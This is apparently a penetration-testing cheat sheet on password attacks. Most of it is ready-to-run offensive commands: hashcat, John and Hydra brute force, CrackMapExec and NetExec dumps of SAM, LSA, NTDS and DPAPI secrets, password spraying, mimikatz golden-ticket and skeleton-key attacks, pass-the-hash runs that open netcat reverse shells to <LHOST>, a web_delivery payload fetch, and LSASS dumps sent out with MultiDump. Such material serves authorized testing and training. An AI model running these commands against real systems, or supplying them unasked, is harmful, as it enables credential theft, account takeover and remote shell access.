Password Attacks

Resources

Resources

Name	Description	URL
BetterSafetyKatz	Fork of SafetyKatz that dynamically fetches the latest pre-compiled release of Mimikatz directly from gentilkiwi GitHub repo, runtime patches signatures and uses SharpSploit DInvoke to PE-Load into memory.	https://github.com/Flangvik/BetterSafetyKatz
bkcrack	Crack legacy zip encryption with Biham and Kocher's known plaintext attack.	https://github.com/kimci86/bkcrack
CrackMapExec	CrackMapExec (a.k.a CME) is a post-exploitation tool that helps automate assessing the security of large Active Directory networks.	https://github.com/byt3bl33d3r/CrackMapExec
CredMaster	Refactored & improved CredKing password spraying tool, uses FireProx APIs to rotate IP addresses, stay anonymous, and beat throttling	https://github.com/knavesec/CredMaster
Default Credentials Cheat Sheet	One place for all the default credentials to assist the pentesters during an engagement, this document has a several products default credentials that are gathered from several sources.	https://github.com/ihebski/DefaultCreds-cheat-sheet
DeHashed	Breach Database	https://dehashed.com
DomainPasswordSpray	DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS!	https://github.com/dafthack/DomainPasswordSpray
Firefox Decrypt	Firefox Decrypt is a tool to extract passwords from Mozilla (Firefox™, Waterfox™, Thunderbird®, SeaMonkey®) profiles	https://github.com/unode/firefox_decrypt
go-mimikatz	A wrapper around a pre-compiled version of the Mimikatz executable for the purpose of anti-virus evasion.	https://github.com/vyrus001/go-mimikatz
hashcat	Password Cracking	https://hashcat.net/hashcat
Hob0Rules	Password cracking rules for Hashcat based on statistics and industry patterns	https://github.com/praetorian-inc/Hob0Rules
Hydra	Password Brute Force	https://github.com/vanhauser-thc/thc-hydra
John	Password Cracking	https://github.com/openwall/john
keepass-dump-masterkey	Script to retrieve the master password of a keepass database <= 2.53.1	https://github.com/CMEPW/keepass-dump-masterkey
KeePwn	A python tool to automate KeePass discovery and secret extraction.	https://github.com/Orange-Cyberdefense/KeePwn
Kerbrute	A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication.	https://github.com/ropnop/kerbrute
LaZagne	The LaZagne project is an open source application used to retrieve lots of passwords stored on a local computer.	https://github.com/AlessandroZ/LaZagne
mimikatz	Extract plaintexts passwords, hash, PIN code and kerberos tickets from memory.	https://github.com/gentilkiwi/mimikatz
MultiDump	MultiDump is a post-exploitation tool for dumping and extracting LSASS memory discreetly.	https://github.com/Xre0uS/MultiDump
NetExec	The Network Execution Tool	https://github.com/Pennyw0rth/NetExec
ntlm.pw	This website offers a NTLM to plaintext password "cracking" service, using a custom high performance database with billions of precomputed password hashes.	https://ntlm.pw
Patator	Password Brute Force	https://github.com/lanjelot/patator
pypykatz	Mimikatz implementation in pure Python.	https://github.com/skelsec/pypykatz
RsaCtfTool	RSA multi attacks tool : uncipher data from weak public key and try to recover private key Automatic selection of best attack for the given public key.	https://github.com/Ganapati/RsaCtfTool
SharpChromium	.NET 4.0 CLR Project to retrieve Chromium data, such as cookies, history and saved logins.	https://github.com/djhohnstein/SharpChromium
SprayingToolkit	A set of Python scripts/utilities that tries to make password spraying attacks against Lync/S4B & OWA a lot quicker, less painful and more efficient.	https://github.com/byt3bl33d3r/SprayingToolkit
TheSprayer	TheSprayer is a cross-platform tool designed to help penetration testers spray passwords against an Active Directory domain without locking out accounts.	https://github.com/coj337/TheSprayer
TREVORspray	TREVORspray is a modular password sprayer with threading, clever proxying, loot modules, and more!	https://github.com/blacklanternsecurity/TREVORspray

AES

Cracking AES Encryption

Create AES File

aes-256-ctr
aes-128-ofb
aes-192-ofb
aes-256-ofb
aes-128-ecb
aes-192-ecb
aes-256-ecb

Create String File

Tq+CWzQS0wYzs2rJ+GNrPLP6qekDbwze6fIeRRwBK2WXHOhba7WR2OGNUFKoAvyW7njTCMlQzlwIRdJvaP2iYQ==

For Loop

$ for i in `cat aes`; do cat string | openssl enc -d -$i -K 214125442A472D4B6150645367566B59 -iv 0 -nopad -nosalt -base64; done

bkcrack

Cracking .zip File

$ ./bkcrack -L <FILE>.zip

$ cat plaintext.txt
Secret:HTB{

$ ./bkcrack -c tmp/fd734d942c6f729a36606b16a3ef17f8/<FILE>.txt -C <FILE>.zip -p plaintext.txt

CrackMapExec

https://github.com/byt3bl33d3r/CrackMapExec

Installation via Poetry

$ pipx install poetry
$ git clone https://github.com/Porchetta-Industries/CrackMapExec
$ cd CrackMapExec
$ poetry install
$ poetry run crackmapexec

Modules

$ crackmapexec ldap -L
$ crackmapexec mysql -L
$ crackmapexec smb -L
$ crackmapexec ssh -L
$ crackmapexec winrm -L

Common Commands

$ crackmapexec smb <RHOST> -u '' -p '' --shares
$ crackmapexec smb <RHOST> -u '' -p '' --shares -M spider_plus
$ crackmapexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o READ_ONLY=false
$ crackmapexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o DOWNLOAD_FLAG=true
$ crackmapexec smb <RHOST> -u " " -p "" --shares
$ crackmapexec smb <RHOST> -u " " -p "" --shares -M spider_plus
$ crackmapexec smb <RHOST> -u " " -p "" --shares -M spider_plus -o READ_ONLY=false
$ crackmapexec smb <RHOST> -u " " -p "" --shares -M spider_plus -o DOWNLOAD_FLAG=true
$ crackmapexec smb <RHOST> -u guest -p '' --shares --rid-brute
$ crackmapexec smb <RHOST> -u guest -p '' --shares --rid-brute 100000
$ crackmapexec smb <RHOST> -u "guest" -p "" --shares --rid-brute
$ crackmapexec smb <RHOST> -u "guest" -p "" --shares --rid-brute 100000
$ crackmapexec ldap <RHOST> -u '' -p '' -M get-desc-users
$ crackmapexec smb <RHOST> -u "<USERNAME>" --use-kcache --sam
$ crackmapexec ldap <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --gmsa
$ crackmapexec ldap <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --gmsa -k
$ crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --shares
$ crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --sam
$ crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --lsa
$ crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --dpapi
$ crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --local-auth --sam
$ crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --local-auth --lsa
$ crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --local-auth --dpapi
$ crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" -M lsassy
$ crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" -M web_delivery -o URL=http://<LHOST>/<FILE>
$ crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds
$ crackmapexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds
$ crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds --user <USERNAME>
$ crackmapexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds --user <USERNAME>
$ crackmapexec smb <RHOST> -u "<USERNAME>" -H <HASH> -x "whoami"
$ crackmapexec winrm <SUBNET>/24 -u "<USERNAME>" -p "<PASSWORD>" -d .
$ crackmapexec winrm -u /t -p "<PASSWORD>" -d <DOMAIN> <RHOST>
$ crackmapexec winrm <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt
$ crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --shares
$ crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --pass-pol
$ crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --lusers
$ crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --sam
$ crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -x 'net user Administrator /domain' --exec-method smbexec
$ crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --wdigest enable
$ crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -x 'quser'

fcrack

$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt <FILE>.zip

Group Policy Preferences (GPP)

gpp-decrypt

https://github.com/t0thkr1s/gpp-decrypt

$ python3 gpp-decrypt.py -f Groups.xml
$ python3 gpp-decrypt.py -c edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Hash-Buster

https://github.com/s0md3v/Hash-Buster

$ buster -s 2b6d315337f18617ba18922c0b9597ff

hashcat

https://hashcat.net/hashcat/

https://hashcat.net/wiki/doku.php?id=hashcat

https://hashcat.net/cap2hashcat/

https://hashcat.net/wiki/doku.php?id=example_hashes

Hash Example Search

$ hashcat --example-hashes
$ hashcat --help | grep -i "ntlm"

Mask File Example

https://hashcat.net/wiki/doku.php?id=mask_attack

example.hcmask

FOOBAR?d?d?d?d
FOOBAR?d?d?d?u
FOOBAR?d?d?u?u
FOOBAR?d?u?u?u
FOOBAR?u?u?u?u

Common Commands

$ hashcat -m 0 md5 /usr/share/wordlists/rockyou.txt
$ hashcat -m 100 sha-1 /usr/share/wordlists/rockyou.txt
$ hashcat -m 1400 sha256 /usr/share/wordlists/rockyou.txt
$ hashcat -m 3200 bcrypt /usr/share/wordlists/rockyou.txt
$ hashcat -m 900 md4 /usr/share/wordlists/rockyou.txt
$ hashcat -m 1000 ntlm /usr/share/wordlists/rockyou.txt
$ hashcat -m 1800 sha512 /usr/share/wordlists/rockyou.txt
$ hashcat -m 160 hmac-sha1 /usr/share/wordlists/rockyou.txt
$ hashcat -a 0 -m 0 hash.txt SecLists/Passwords/xato-net-10-million-passwords-1000000.txt -O --force
$ hashcat -O -m 500 -a 3 -1 ?l -2 ?d -3 ?u  --force hash.txt ?3?3?1?1?1?1?2?3

Cracking ASPREPRoast Password File

$ hashcat -m 18200 -a 0 <FILE> <FILE>

Cracking Kerberoasting Password File

$ hashcat -m 13100 --force <FILE> <FILE>

Bruteforce based on the Pattern

$ hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout

Generate Password Candidates: Wordlist + Pattern

$ hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlists/rockyou.txt ?d?d?d?u?u?u --force --potfile-disable --stdout

Generate NetNLTMv2 with internalMonologue and crack with hashcat

$ InternalMonologue.exe -Downgrade False -Restore False -Impersonate True -Verbose False -challange 002233445566778888800

Result

spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000

Crack with hashcat

$ hashcat -m5600 'spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000' -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disable

Rules

https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rule

Cracking with OneRuleToRuleThemAll.rule

$ hashcat -m 3200 hash.txt -r /PATH/TO/FILE.rule

Hydra

https://github.com/vanhauser-thc/thc-hydra

Common Commands

$ hydra <RHOST> -l <USERNAME> -p <PASSWORD> <PROTOCOL>
$ hydra <RHOST> -L /PATH/TO/WORDLIST/<FILE> -P /PATH/TO/WORDLIST/<FILE> <PROTOCOL>
$ hydra <RHOST> -C /PATH/TO/WORDLIST/<FILE> ftp

Proxy

$ export HYDRA_PROXY=connect://127.0.0.1:8080
$ unset HYDRA_PROXY

SSH

$ hydra <RHOST> -L usernames.txt -P passwords.txt ssh -V
$ hydra <RHOST> -l <USERNAME> -P /PATH/TO/WORDLIST/<FILE> ssh -t 4

FTP

$ hydra <RHOST> -L usernames.txt -P passwords.txt ftp -V -f

SMB

$ hydra <RHOST> -L usernames.txt -P passwords.txt smb -V -f

MySQL

$ hydra <RHOST> -L usernames.txt -P passwords.txt mysql -V -f

Postgres

$ hydra <RHOST> -L usernames.txt -P passwords.txt postgres -V

Telnet

$ hydra <RHOST> -L usernames.txt -P passwords.txt telnet -V

VNC

$ hydra <RHOST> -P passwords.txt vnc -V

Docker Registry

$ hydra <RHOST> -L usernames.txt  -P passwords.txt -s 5000 https-get /v2/

Webform

$ hydra <RHOST> -l <USERNAME> -P /PATH/TO/WORDLIST/<FILE> http-post-form "/admin.php:username=^USER^&password=^PASS^:login_error"
$ hydra <RHOST> -l <USERNAME> -P /PATH/TO/WORDLIST/<FILE> http-post-form "/index.php:username=user&password=^PASS^:Login failed. Invalid"
$ hydra <RHOST> -L /PATH/TO/WORDLIST/<FILE> -P /PATH/TO/WORDLIST/<FILE> http-post-form "/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s <RPORT>
$ hydra <RHOST> -l root@localhost -P otrs-cewl.txt http-form-post "/otrs/index.pl:Action=Login&RequestedURL=Action=Admin&User=root@localhost&Password=^PASS^:Login failed" -vV -f
$ hydra <RHOST> -l admin -P /PATH/TO/WORDLIST/<FILE> http-post-form "/Account/login.aspx?ReturnURL=/admin/:__VIEWSTATE=COOKIE_1&__EVENTVALIDATION=COOKIE_2&UserName=^USER^&Password=^PASS^&LoginButton=Log+in:Login failed"

John

https://github.com/openwall/john

$ john md5 --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5
$ john sha-1 --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha1
$ john sha256 --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha256
$ john bcrypt --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
$ john md4 --wordlist=/usr/share/wordlists/rockyou.txt --format=md4
$ john ntlm --wordlist=/usr/share/wordlists/rockyou.txt --format=nt
$ john sha512 --wordlist=/usr/share/wordlists/rockyou.txt

Using Salt

$ john <FILE> --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 --mask='<SALT>?w'

Cracking RSA

$ /usr/share/john/ssh2john.py id_rsa > id_rsa.hash
$ john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=ssh
$ john <FILE> --wordlist=/usr/share/wordlists/rockyou.txt

Cracking Kerberoasting Password File

$ john --format=krb5tgs --wordlist=<FILE> <FILE>

Cracking EncFS/6

$ /usr/share/john/encfs2john.py directory/ > encfs6.xml.john
$ john encfs6.xml.john --wordlist=/usr/share/wordlists/rockyou.txt

Extracting Hash from .kdbx File

$ keepass2john <FILE>.kdbx

Cracking .zip-Files

$ zip2john <FILE> > output.hash

Show cracked Password

$ john --show <FILE>

Kerbrute

https://github.com/ropnop/kerbrute

User Enumeration

$ ./kerbrute userenum -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES>

Password Spray

$ ./kerbrute passwordspray -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES> <PASSWORD>

LaZagne

https://github.com/AlessandroZ/LaZagne

C:\> laZagne.exe all

LUKS

Extracting LUKS Header

$ dd if=backup.img of=header.luks bs=512 count=4097

Medusa

$ medusa -h <RHOST> -U usernames.txt -P wordlist.txt -M smbnt

mimikatz

https://github.com/gentilkiwi/mimikatz

Common Commands

mimikatz # token::elevate
mimikatz # token::revert
mimikatz # vault::cred
mimikatz # vault::list
mimikatz # lsadump::sam
mimikatz # lsadump::secrets
mimikatz # lsadump::cache
mimikatz # lsadump::dcsync /<USERNAME>:<DOMAIN>\krbtgt /domain:<DOMAIN>

Execute mimikatz Inline

This is helpful when executing within a Evil-WinRM session.

C:\> mimikatz.exe "sekurlsa::logonpasswords" "exit"

Dump Hashes

C:\> .\mimikatz.exe
mimikatz # sekurlsa::minidump /users/admin/Desktop/lsass.DMP
mimikatz # sekurlsa::LogonPasswords
meterpreter > getprivs
meterpreter > creds_all
meterpreter > golden_ticket_create

Overpass-the-hash / Pass-the-Key

mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys

RC4

mimikatz # sekurlsa::pth /user:Administrator /domain:<DOMAIN> /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"C:\nc64.exe -e cmd.exe <LHOST> <LPORT>"

AES128

mimikatz # sekurlsa::pth /user:Administrator /domain:<DOMAIN> /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"C:\nc64.exe -e cmd.exe <LHOST> <LPORT>"

AES256

mimikatz # sekurlsa::pth /user:Administrator /domain:<DOMAIN> /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"C:\nc64.exe -e cmd.exe <LHOST> <LPORT>"

Pass the Ticket

C:\> .\mimikatz.exe
mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::ptt [0;76126]-2-0-40e10000-Administrator@krbtgt-<RHOST>.LOCAL.kirbi
C:\> klist
C:\> dir \\<RHOST>\admin$

Forging Golden Ticket

C:\> .\mimikatz.exe
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt
mimikatz # kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
mimikatz # misc::cmd
C:\> klist
C:\> dir \\<RHOST>\admin$

Skeleton Key

C:\> .\mimikatz.exe
mimikatz # privilege::debug
mimikatz # misc::skeleton
C:\> net use C:\\<RHOST>\admin$ /user:Administrator mimikatz
C:\> dir \\<RHOST>\c$ /user:<USERNAME> mimikatz

Data Protection API (DPAPI) Decryption

https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials

rpc

mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb" /rpc

mimikatz # dpapi::cache

mimikatz # dpapi::cred /in:"C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4"

MultiDump

https://github.com/Xre0uS/MultiDump

$ python3 MultiDumpHandler.py -r <LPORT>

PS C:\> .\MultiDump.exe --procdump -r <LHOST>:<LPORT>

NetExec

https://github.com/Pennyw0rth/NetExec

$ sudo apt-get install pipx git
$ pipx ensurepath
$ pipx install git+https://github.com/Pennyw0rth/NetExec

Installation via Poetry

$ sudo apt-get install -y libssl-dev libffi-dev python-dev-is-python3 build-essential
$ git clone https://github.com/Pennyw0rth/NetExec
$ cd NetExec
$ poetry install
$ poetry run NetExec

Modules

$ netexec ldap -L
$ netexec mysql -L
$ netexec smb -L
$ netexec ssh -L
$ netexec winrm -L

Common Commands

$ netexec smb <RHOST> -u '' -p '' --shares
$ netexec smb <RHOST> -u '' -p '' --shares -M spider_plus
$ netexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o READ_ONLY=false
$ netexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o DOWNLOAD_FLAG=true
$ netexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o DOWNLOAD_FLAG=true MAX_FILE_SIZE=99999999
$ netexec smb <RHOST> -u " " -p "" --shares
$ netexec smb <RHOST> -u " " -p "" --shares -M spider_plus
$ netexec smb <RHOST> -u " " -p "" --shares -M spider_plus -o READ_ONLY=false
$ netexec smb <RHOST> -u " " -p "" --shares -M spider_plus -o DOWNLOAD_FLAG=true
$ netexec smb <RHOST> -u " " -p "" --shares -M spider_plus -o DOWNLOAD_FLAG=true MAX_FILE_SIZE=99999999
$ netexec smb <RHOST> -u guest -p '' --shares --rid-brute
$ netexec smb <RHOST> -u guest -p '' --shares --rid-brute 100000
$ netexec smb <RHOST> -u "guest" -p "" --shares --rid-brute
$ netexec smb <RHOST> -u "guest" -p "" --shares --rid-brute 100000
$ netexec smb <RHOST> -u "<USERNAME>" --use-kcache --users
$ netexec smb <RHOST> -u "<USERNAME>" --use-kcache --sam
$ netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --shares
$ netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --sam
$ netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --lsa
$ netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --dpapi
$ netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --local-auth --sam
$ netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --local-auth --lsa
$ netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --local-auth --dpapi
$ netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" -M lsassy
$ netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" -M web_delivery -o URL=http://<LHOST>/<FILE>
$ netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" -M gpp_autologin
$ netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" -M gpp_password
$ netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds
$ netexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds
$ netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds --user <USERNAME>
$ netexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds --user <USERNAME>
$ netexec smb <RHOST> -u "<USERNAME>" -H <HASH> -x "whoami"
$ netexec ldap <RHOST> -u '' -p '' -M get-desc-users
$ netexec ldap <RHOST> -u "" -p "" -M get-desc-users
$ netexec ldap <RHOST> -u "" -p "" --use-kcache -M whoami
$ netexec ldap <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --gmsa
$ netexec ldap <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --gmsa -k
$ netexec ldap <RHOST> -u "<USERNAME>" -p "<PASSWORD>" -M get-network -o ALL=true
$ netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --bloodhound -ns <RHOST> -c all
$ netexec ldap <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --bloodhound -ns <RHOST> -c all
$ netexec winrm <SUBNET>/24 -u "<USERNAME>" -p "<PASSWORD>" -d .
$ netexec winrm -u /t -p "<PASSWORD>" -d <DOMAIN> <RHOST>
$ netexec winrm <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt
$ netexec winrm <RHOST> -u '<USERNAME>' -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding
$ netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --shares
$ netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --pass-pol
$ netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --lusers
$ netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --sam
$ netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -x 'net user Administrator /domain' --exec-method smbexec
$ netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --wdigest enable
$ netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -x 'quser'

Patator

https://github.com/lanjelot/patator

$ patator ssh_login host=<RHOST> port=<RPORT> user=<USERNAME> password=FILE0 0=/PATH/TO/WORDLIST/<WORDLIST>.txt persistent=0 -x ignore:mesg='Authentication failed.'
$ patator ssh_login host=<RHOST> port=<RPORT> user=<USERNAME> password=FILE0 0=/PATH/TO/WORDLIST/<WORDLIST>.txt persistent=0 -x ignore:fgrep='failed'
$ patator ssh_login host=<RHOST> port=<RPORT> user=<USERNAME> password=FILE0 0=/PATH/TO/WORDLIST/<WORDLIST>.txt persistent=0 -x ignore:egrep='failed'

PDFCrack

$ pdfcrack -f file.pdf -w /usr/share/wordlists/rockyou.txt

pypykatz

https://github.com/skelsec/pypykatz

$ pypykatz lsa minidump lsass.dmp
$ pypykatz registry --sam sam system

RsaCtfTool

https://github.com/Ganapati/RsaCtfTool

$ python3 RsaCtfTool.py --publickey /PATH/TO/<KEY>.pub --uncipherfile /PATH/TO/FILE/<FILE>.enc

SprayingToolkit

https://github.com/byt3bl33d3r/SprayingToolkit

OWA

$ python3 atomizer.py owa <RHOST> <PASSWORDS>.txt <USERNAMES>.txt -i 0:0:01

VNC Password Recovery

msf6 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object

irb: warn: can't alias jobs from irb_jobs.
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["6bcf2a4b6e5aca0f"].pack('H*'), fixedkey
=> "sT333ve2"
>>

Files

05_password_attacks.md

Latest commit

History

05_password_attacks.md

File metadata and controls

Password Attacks

Table of Contents

Resources

AES

Cracking AES Encryption

Create AES File

Create String File

For Loop

bkcrack

Cracking .zip File

CrackMapExec

Installation via Poetry

Modules

Common Commands

fcrack

Group Policy Preferences (GPP)

gpp-decrypt

Hash-Buster

hashcat

Hash Example Search

Mask File Example

example.hcmask

Common Commands

Cracking ASPREPRoast Password File

Cracking Kerberoasting Password File

Bruteforce based on the Pattern

Generate Password Candidates: Wordlist + Pattern

Generate NetNLTMv2 with internalMonologue and crack with hashcat

Result

Crack with hashcat

Rules

Cracking with OneRuleToRuleThemAll.rule

Hydra

Common Commands

Proxy

SSH

FTP

SMB

MySQL

Postgres

Telnet

VNC

Docker Registry

Webform

John

Using Salt

Cracking RSA

Cracking Kerberoasting Password File

Cracking EncFS/6

Extracting Hash from .kdbx File

Cracking .zip-Files

Show cracked Password

Kerbrute

User Enumeration

Password Spray

LaZagne

LUKS

Extracting LUKS Header

Medusa

mimikatz

Common Commands

Execute mimikatz Inline

Dump Hashes

Overpass-the-hash / Pass-the-Key

RC4

AES128

AES256

Pass the Ticket

Forging Golden Ticket

Skeleton Key

Data Protection API (DPAPI) Decryption

rpc

MultiDump

NetExec